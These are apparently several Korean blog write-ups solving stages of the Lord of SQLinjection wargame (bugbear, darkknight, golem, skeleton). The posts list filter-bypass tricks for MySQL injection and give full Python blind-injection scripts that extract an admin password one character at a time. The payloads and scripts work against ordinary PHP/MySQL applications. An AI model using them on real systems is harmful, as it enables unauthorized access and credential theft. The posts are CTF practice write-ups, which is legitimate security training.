이번에도 자동화코드를 이용하는 문제인데 필터링이 진짜 많다..

이번에도 no 파라미터에 payload를 작성해야 하는 것으로 보이는데..

필터링 정리해보자.

1) _ .  ' 등 특수문자

2) substr(substring 포함), ascii, or (ord 포함), and , like, 0x 등 

우리가 지금까지 썼던 함수들을 모두 우회해야 한다..

천천히 테스트 해보면..

no=1 test 만 했는데도 필터링 걸렸다. ! 중요한 필터링이다. 처음에 몰라서 시간이 걸렸음..ㅠ

띄어쓰기도 필터링되고 있었다. 

3) 띄어쓰기(%20) 필터링 

 

내가 정리한 우회 기법이다. 총 집합이다!!!!!!!!!

substring(), substr() mid(), left(), right(), lpad(), rpad()
ascii(), ord() hex()
or  ||, %7c%7c
and &&, %26%26
=, like in (), <>(부등호)
0x hex()
띄어쓰기 %09, %0a, %0d, /* */

내가 선택한 우회 기법을 천천히 하나씩 설명하도록 하겠다.

 

1)  띄어쓰기 %20 대신 %0a (\n) 개행문자 이용

성공했다. 

 

이제 test 대신 or id = admin 을 모두 우회해보자

2) =, like 대신 in 사용

id = admin (실패) → id like "admin" (실패) → id in ("admin") 

* 띄어쓰기는 모두 %0a로 변경 후 no 값 대입!!!

payload :

no=1%0a||%0aid%0ain%0a("admin")

*이번 문제 역시 주석처리(#) 필요없음. no 파라미터가 데이터를 string으로 받지 않게 짜여있으므로..

성공했다.

 

이제 and 연결자로 패스워드 길이 찾기

3) =, like 대신 <> (부등호) 사용

먼저, 연결자 &는 url에서 예약문자로 사용하기 때문에 url 인코딩을 진행해야 한다. %26%26

앞에 띄어쓰기 대신 %0a 꼭 붙여주고! %26%26 넣어주면 &&로 잘 들어가는 것을 확인했다! 

* 이렇게 한단계씩 단계별로 하나씩 대입해봐야 어디서 필터링 걸리는지 알 수 있다 

=, like 대신 in을 사용해보았는데 안된다..

앗.. 괄호를 마지막에 해주지 않아서 그랬던 것...

in 말고도 숫자와의 비교는 부등호로 하면 편하다! 띄어쓰기도 필요없음

9보다 작으니 8이겠다!

이제 길이를 알아냈으니 문자 하나하나씩 찾아서 패스워드를 알아내보자.

 

4) ascii, ord 대신 hex() 함수 이용  /  substring, substr 대신 mid() 함수 이용 /  =, lilke 대신 in () 함수 사용

* in 다음에 오는 대상에 대해 괄호 까먹지 말 것!!!!!

hex( mid(pw,?,1) ) in ( hex(53) )   hex값으로 비교하면서 패스워드를 찾을 것이다.

 기존 payload :    no = 1 || id in ("admin") && hex(mid(pw,?,1)) in (hex(53)) 

필터링 우회 :      no=1%0a||%0aid%0ain%0a("admin")%0a%26%26%0ahex(mid(pw,?,1))%0ain%0a(hex(53))

 

5) 자동화 코드

패스워드 길이 찾기 코드

def pw_len():
    len_num = 0

    while 1 :
        len_num = len_num + 1
        value = "1\n||\nid\nin\n(\"admin\")\n&&\nlength(pw)\nin\n({})".format(len_num) #injection payload
        parmas = {'no': value}      #url에 GET으로 전달하는 파라미터
        response = requests.get(url,params=parmas, cookies=cookies)
        print(len_num)


        if "Hello admin" in response.text:    #응답값에 Hello admin이 있으면 반환
            print("password length : ", len_num)
            break
    return len_num

앞서 띄어쓰기 대신 %0a를 사용했는데, 파이썬 코드에서는 url 인코딩한 코드를 인식할 수 없다.

그래서 디코딩된 상태로 넣어줘야 한다. 

%0a  → \n 개행

 

패스워드 찾기 코드

#패스워드 한글자씩 찾기
def pw_real(len_num):
    pw=''
    for i in range(1,len_num+1):
        print(i,"번째 검색 중")

        for j in range(48, 122):  #아스키코드값 48번부터 122번
     
            value = "1\n||\nid\nin\n(\"admin\")\n&&\nhex(mid(pw,{},1))\nin\n(hex({}))".format(i,j)           #injection payload 
            parmas = {'no':value}
            response = requests.get(url, params=parmas, cookies=cookies)
            print(j)

            if "Hello admin" in response.text:       #응답값에 Hello admin이 있으면 반환
                pw = pw + chr(j)    #chr(): 아스키코드값 -> 문자
                print("password  : ", pw)
                break
    return pw

 

전체 코드

# LOS
# STEP 13 bugbear
import requests

url ="" #공격URL
cookies ={"PHPSESSID": ""} #쿠키값

#패스워드 길이 찾기
def pw_len():
    len_num = 0

    while 1 :
        len_num = len_num + 1
        value = "1\n||\nid\nin\n(\"admin\")\n&&\nlength(pw)\nin\n({})".format(len_num) #injection payload
        parmas = {'no': value}      #url에 GET으로 전달하는 파라미터
        response = requests.get(url,params=parmas, cookies=cookies)
        print(len_num)


        if "Hello admin" in response.text:    #응답값에 Hello admin이 있으면 반환
            print("password length : ", len_num)
            break
    return len_num


#패스워드 한글자씩 찾기
def pw_real(len_num):
    pw=''
    for i in range(1,len_num+1):
        print(i,"번째 검색 중")

        for j in range(48, 122):  #아스키코드값 48번부터 122번
 
        
            value = "1\n||\nid\nin\n(\"admin\")\n&&\nhex(mid(pw,{},1))\nin\n(hex({}))".format(i,j)           #injection payload 
            parmas = {'no':value}
            response = requests.get(url, params=parmas, cookies=cookies)
            print(j)

            if "Hello admin" in response.text:       #응답값에 Hello admin이 있으면 반환
                pw = pw + chr(j)    #chr(): 아스키코드값 -> 문자
                print("password  : ", pw)
                break
    return pw


#Main

pw_real(pw_len())

 

 

solve !!!!!!!!!!!!

'WEB > Lord of SQLinjection' 카테고리의 다른 글

[LOS] step15. assassin 풀이  (0) 2023.06.14
[LOS] step14. giant 풀이  (0) 2023.06.13
[LOS] step12. darkknight 풀이  (1) 2023.06.13
[LOS] step10. skeleton 풀이  (0) 2023.06.13
[LOS] step.9 VAMPIRE 풀이  (0) 2023.06.13

이 문제도 앞선 문제들과 비슷한 유형이다. addslashes가 있으니 pw를 일일히 대입해서 blind injection으로 찾아야 하고, 필터링이 뭐가 걸려있는지 필터링들을 우회해야 한다.

먼저 파라미터 no에 해당하는 필터링

1 ) _ . '  등의 특수문자

2) substr, ascii, =  필터링

반면, pw에 해당하는 필터링은 싱글쿼터 뿐인 것 같다. 그러면 우리가 payload를 넣는 부분은 no에 해당할 것 같다.

또! pw와 no는 and 로 연결되어 있다. 우리는 pw와 no 둘다 모른다. 이부분은 false가 될 거고 no에 들어가는 입력값에서 true를 만들어서 우회해야 할 것 같다.

no 파라미터에 number가 임의로 들어갈 것이다. 우린 이 number를 모르니 뒤에 우회구문을 넣어보자

no = 1 or 1=1  했더니 = 때문에 필터링이 된다. ㅠㅠ

no = 1 or 1 like 1  으로 공격했더니 성공했다..  =는 이제 like로 모두 변경해야 한다...

이 부분을 id = admin 으로 설정해야 admin에 해당하는 pw를 찾을 수 있을 것이다. 

no = 1 or id like admin 이렇게 짜면 hello admin으로 인식하지 못한다. like를 쓸 때는 '' 또는 "" 를 이용하여 묶어줘야 한다.

id = admin  → id like "admin" / id like 'admin'  이런 식으로... 단, no에 싱글쿼터가 들어가면 필터링되므로 "" 이용!

payload :   no = 1 or id like "admin"

 

이렇게 payload를 짜서 [false or true] 로 만들었으니 and를 이용하여 [true and true] 구문을 만들어서 blind injection으로 참 거짓 구분하면 될 것 같다!!!

1) 비밀번호 길이 찾기

no = 1 or id like "admin" and length(pw) like ? 

?

이번에는 payload 끝에 주석처리 (#) 가 필요없다.
no는 int형으로 변수값을 받고 있기 때문.. string으로 받을 때만 ' ' 를 이용한다!! (sql 기본 문법)

자동화코드는 다음과 같다.

#패스워드 길이 찾기
def pw_len():
    len_num = 0

    while 1 :
        len_num = len_num + 1
        value = "1 or id like \"admin\" and length(pw) like {}".format(len_num) #injection payload
        parmas = {'no': value}      #url에 GET으로 전달하는 파라미터
        response = requests.get(url,params=parmas, cookies=cookies)
        print(len_num)


        if "Hello admin" in response.text:    #응답값에 Hello admin이 있으면 반환
            print("password length : ", len_num)
            break
    return len_num

* admin을  " "를 이용해서 묶어줘야 하는데..
  python 코드로 넣을 때는 value = "~~" 이때의 " "와 구분해줘야 하기 때문에 앞에 \ 를 붙여준다!

 

2) 패스워드 전체 문자 찾기

no = 1 or id like "admin" and ord(mid(pw,?,1) like ? 

이번 문제는 ascii / substr / substring 모두 필터링되고 있으므로, 이외에 동일한 기능을 하는 함수를 이용하여 우회한다.

기존 사용함수 대체 함수
ascii ord
substr , substring mid
#패스워드 한글자씩 찾기
def pw_real(len_num):
    pw=''
    for i in range(1,len_num+1):
        print(i,"번째 검색 중")

        for j in range(48, 122):  #아스키코드값 48번부터 122번
 
        
            value = "1 or id like \"admin\" and ord(mid(pw,{},1)) like {} ".format(i,j)           #injection payload 
            parmas = {'no':value}
            response = requests.get(url, params=parmas, cookies=cookies)
            print(j)

            if "Hello admin" in response.text:       #응답값에 Hello admin이 있으면 반환
                pw = pw + chr(j)    #chr(): 아스키코드값 -> 문자
                print("password  : ", pw)
                break
    return pw

 

3) 전체 코드

import requests

url ="" #공격URL
cookies ={"PHPSESSID": ""} #쿠키값

#패스워드 길이 찾기
def pw_len():
    len_num = 0

    while 1 :
        len_num = len_num + 1
        value = "1 or id like \"admin\" and length(pw) like {}".format(len_num) #injection payload
        parmas = {'no': value}      #url에 GET으로 전달하는 파라미터
        response = requests.get(url,params=parmas, cookies=cookies)
        print(len_num)


        if "Hello admin" in response.text:    #응답값에 Hello admin이 있으면 반환
            print("password length : ", len_num)
            break
    return len_num


#패스워드 한글자씩 찾기
def pw_real(len_num):
    pw=''
    for i in range(1,len_num+1):
        print(i,"번째 검색 중")

        for j in range(48, 122):  #아스키코드값 48번부터 122번

            value = "1 or id like \"admin\" and ord(mid(pw,{},1)) like {} ".format(i,j)           #injection payload 
            parmas = {'no':value}
            response = requests.get(url, params=parmas, cookies=cookies)
            print(j)

            if "Hello admin" in response.text:       #응답값에 Hello admin이 있으면 반환
                pw = pw + chr(j)    #chr(): 아스키코드값 -> 문자
                print("password  : ", pw)
                break
    return pw


#Main
pw_real(pw_len())

실행화면

 

 

solve!!!!!!!!!!

'WEB > Lord of SQLinjection' 카테고리의 다른 글

[LOS] step14. giant 풀이  (0) 2023.06.13
[LOS] step13. BUGBEAR 풀이  (0) 2023.06.13
[LOS] step10. skeleton 풀이  (0) 2023.06.13
[LOS] step.9 VAMPIRE 풀이  (0) 2023.06.13
[LOS] step.8 troll 풀이  (0) 2023.06.13

일단 문제를 계속 풀다보니 addslashes 가 있으니, 자동화코드를 이용하여 admin에 맞는 pw를 blind injection을 이용해서 찾아야 한다.

대신 주어진 필터링

1) pw에 . _  등 필터링

2) or and substr 필터링

3) 핵심 = 필터링

나머지는 우회해봤지만 핵심인 (=)에 대해서 우회 기법을 찾아야 한다.

or ||,  %7c%7c
and &&, %26%26
substr substring, left, right, mid, lpad, rpad
= like, 부등호 이용

내가 찾은 우회 기법이다. 

payload는

1) 비밀번호 길이 찾기

pw=' ' || id = admin && length(pw)=?# '  (기본 payload)

pw=' ' || id like 'admin' && length(pw) like ? # ' (필터링 우회 적용한 payload)

#패스워드 길이 찾기
def pw_len():
    len_num = 0

    while 1 :
        len_num = len_num + 1
        value = "' || id like 'admin' && length(pw) like {} #".format(len_num) #injection payload
        parmas = {'pw': value}      #url에 GET으로 전달하는 파라미터
        response = requests.get(url,params=parmas, cookies=cookies)
        print(len_num)


        if "Hello admin" in response.text:    #응답값에 Hello admin이 있으면 반환
            print("password length : ", len_num)
            break
    return len_num

실행화면

2) blind injection으로 pw 문자열 모두 찾기

pw=' ' || id = admin && ascii(substr(pw,?,1))= ? # '  (기본 payload)

pw=' ' || id like admin && ascii(substring(pw,?,1)) like ? # ' (필터링 우회 적용한 payload)

#패스워드 한글자씩 찾기
def pw_real(len_num):
    pw=''
    for i in range(1,len_num+1):
        print(i,"번째 검색 중")

        for j in range(48, 122):  #아스키코드값 48번부터 122번
 
            value = " ' || id like 'admin' && ascii(substring(pw,{},1)) like {} #".format(i,j)           #injection payload 
            parmas = {'pw':value}
            response = requests.get(url, params=parmas, cookies=cookies)
            print(j)

            if "Hello admin" in response.text:       #응답값에 Hello admin이 있으면 반환
                pw = pw + chr(j)    #chr(): 아스키코드값 -> 문자
                print("password  : ", pw)
                break
    return pw

 

전체코드

# LOS
# STEP 11 golem

import requests

url ="" #공격URL
cookies ={"PHPSESSID": ""} #쿠키값

#패스워드 길이 찾기
def pw_len():
    len_num = 0

    while 1 :
        len_num = len_num + 1
        value = "' || id like 'admin' && length(pw) like {} #".format(len_num) #injection payload
        parmas = {'pw': value}      #url에 GET으로 전달하는 파라미터
        response = requests.get(url,params=parmas, cookies=cookies)
        print(len_num)


        if "Hello admin" in response.text:    #응답값에 Hello admin이 있으면 반환
            print("password length : ", len_num)
            break
    return len_num



#패스워드 한글자씩 찾기
def pw_real(len_num):
    pw=''
    for i in range(1,len_num+1):
        print(i,"번째 검색 중")

        for j in range(48, 122):  #아스키코드값 48번부터 122번
 
            #value = " ' || id = 'admin' && ord(substr(pw,{},1))={} #".format(i,j)          #attack fail
            value = " ' || id like 'admin' && ascii(substring(pw,{},1)) like {} #".format(i,j)           #injection payload 
            parmas = {'pw':value}
            response = requests.get(url, params=parmas, cookies=cookies)
            print(j)

            if "Hello admin" in response.text:       #응답값에 Hello admin이 있으면 반환
                pw = pw + chr(j)    #chr(): 아스키코드값 -> 문자
                print("password  : ", pw)
                break
    return pw


#Main

pw_real(pw_len())

실행화면

 

 

 

solve!!!!!!!!!!!!!!

이 문제에서 주의깊게 봐야할 부분은 두가지

pw에는 언더바와 같은 특정 특수문자에 대한 필터링 존재. 

그리고 이전 문제들과 다르게 and 1=0 처럼 false 를 만드는 구문이 존재함. 이 부분을 무력화 해야 한다! 우리는 pw를 모르니까

또, id = admin 이 잘 입력되어야 풀리는 문제이다. id=admin은 쓰되, 뒤에 오는 1=0은 무력화해야 한다.

payload는 다음과 같다.

pw=' test' or id = 'admin'# '

pw를 모르니까 or 로 뒤에를 true로 만들어주었다. id = admin은 존재하므로, or과 연결해주면 pw를 몰라도 전체 구문이 true가 되어 문제를 풀 수 있다.

단, #는 url 상 예약문자이므로, 인코딩을 해주어야 한다. (%23)

#로 인해 뒷 부분 and 1=0 이 무력화된다.

 

 

solve!!!!!!!!!!!!!!

'WEB > Lord of SQLinjection' 카테고리의 다른 글

[LOS] step13. BUGBEAR 풀이  (0) 2023.06.13
[LOS] step12. darkknight 풀이  (1) 2023.06.13
[LOS] step.9 VAMPIRE 풀이  (0) 2023.06.13
[LOS] step.8 troll 풀이  (0) 2023.06.13
[LOS] step.7 orge 풀이  (0) 2023.06.13

+ Recent posts